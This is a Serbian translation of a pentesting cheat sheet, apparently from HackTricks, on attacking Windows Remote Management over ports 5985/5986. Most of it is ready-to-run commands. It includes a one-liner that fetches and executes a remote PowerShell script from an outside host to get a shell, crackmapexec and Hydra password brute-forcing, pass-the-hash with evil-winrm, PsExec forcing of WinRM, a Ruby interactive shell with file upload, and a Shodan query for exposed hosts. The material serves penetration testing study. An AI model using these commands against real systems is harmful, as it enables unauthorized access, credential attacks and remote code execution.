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5985,5986 - Pentesting WinRM

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WinRM

Windows Remote Management (WinRM) je istaknut kao protokol od strane Microsoft-a koji omogućava daljinsko upravljanje Windows sistemima putem HTTP(S), koristeći SOAP u tom procesu. Osnovno je pokretan WMI-jem, predstavljajući se kao HTTP-bazirano sučelje za WMI operacije.

Prisutnost WinRM-a na mašini omogućava jednostavno daljinsko upravljanje putem PowerShell-a, slično načinu na koji SSH funkcioniše za druge operativne sisteme. Da bi se utvrdilo da li je WinRM operativan, preporučuje se provera otvaranja specifičnih portova:

5985/tcp (HTTP)
5986/tcp (HTTPS)

Otvoreni port sa gornje liste označava da je WinRM postavljen, čime se omogućavaju pokušaji započinjanja daljinske sesije.

Pokretanje WinRM Sesije

Da bi se konfigurisao PowerShell za WinRM, Microsoft-ov Enable-PSRemoting cmdlet dolazi u igru, postavljajući računar da prihvata daljinske PowerShell komande. Sa povišenim pristupom PowerShell-u, sledeće komande mogu biti izvršene da omoguće ovu funkcionalnost i odrede bilo koji host kao pouzdan:

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

Ovaj pristup uključuje dodavanje džokera u trustedhosts konfiguraciju, korak koji zahteva pažljivo razmatranje zbog svojih implikacija. Takođe je napomenuto da bi mogla biti neophodna promena tipa mreže sa "Javna" na "Poslovna" na mašini napadača.

Pored toga, WinRM se može aktivirati na daljinu koristeći wmic komandu, što je prikazano na sledeći način:

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

Ova metoda omogućava daljinsko podešavanje WinRM-a, povećavajući fleksibilnost u upravljanju Windows mašinama na daljinu.

Testirajte da li je konfigurisan

Da biste proverili podešavanje vaše napadačke mašine, koristi se komanda Test-WSMan da se proveri da li je cilj pravilno konfigurisan za WinRM. Izvršavanjem ove komande, trebali biste očekivati da dobijete detalje o verziji protokola i wsmid-u, što ukazuje na uspešnu konfiguraciju. Ispod su primeri koji prikazuju očekivani izlaz za konfigurisan cilj u poređenju sa nekonfigurisanim:

Za cilj koji je pravilno konfigurisan, izlaz će izgledati slično ovome:

Test-WSMan <target-ip>

Odgovor bi trebao sadržati informacije o verziji protokola i wsmid, što označava da je WinRM ispravno podešen.

Nasuprot tome, za cilj koji nije konfigurisan za WinRM, to bi rezultiralo nedostatkom takvih detaljnih informacija, ističući odsustvo pravilnog WinRM podešavanja.

Izvrši komandu

Da biste izvršili ipconfig na daljinu na ciljnog računaru i videli njegov izlaz, uradite:

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

Možete takođe izvršiti komandu iz vaše trenutne PS konzole putem Invoke-Command. Pretpostavimo da imate lokalno funkciju pod nazivom enumeration i želite da je izvršite na udaljenom računaru, možete to uraditi:

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

Izvrši skriptu

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

Dobijanje reverzne ljuske

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

Dobijanje PS sesije

Da biste dobili interaktivnu PowerShell ljusku, koristite Enter-PSSession:

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

Sesija će se izvršavati u novom procesu (wsmprovhost) unutar "žrtve"

Prisiljavanje WinRM-a da se otvori

Da biste koristili PS Remoting i WinRM, ali računar nije konfigurisan, možete ga omogućiti sa:

.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

Čuvanje i obnavljanje sesija

Ovo neće raditi ako je jezik ograničen na udaljenom računaru.

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

Unutar ovih sesija možete učitati PS skripte koristeći Invoke-Command

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

Greške

Ako pronađete sledeću grešku:

enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.

Pokušajte na klijentu (informacije ovde):

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

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WinRM konekcija u linuxu

Brute Force

Budite oprezni, brute-forcing winrm može blokirati korisnike.

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

Korišćenje evil-winrm

gem install evil-winrm

Pročitajte dokumentaciju na njegovom github-u: https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

Da biste koristili evil-winrm za povezivanje na IPv6 adresu, kreirajte unos unutar /etc/hosts postavljajući domen na IPv6 adresu i povežite se na taj domen.

Prosledi hash sa evil-winrm

evil-winrm -u <username> -H <Hash> -i <IP>

Korišćenje PS-docker mašine

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

Korišćenje ruby skripte

Kod preuzet odavde: https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

port:5985 Microsoft-HTTPAPI

References

https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/

HackTricks Automatske Komande

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}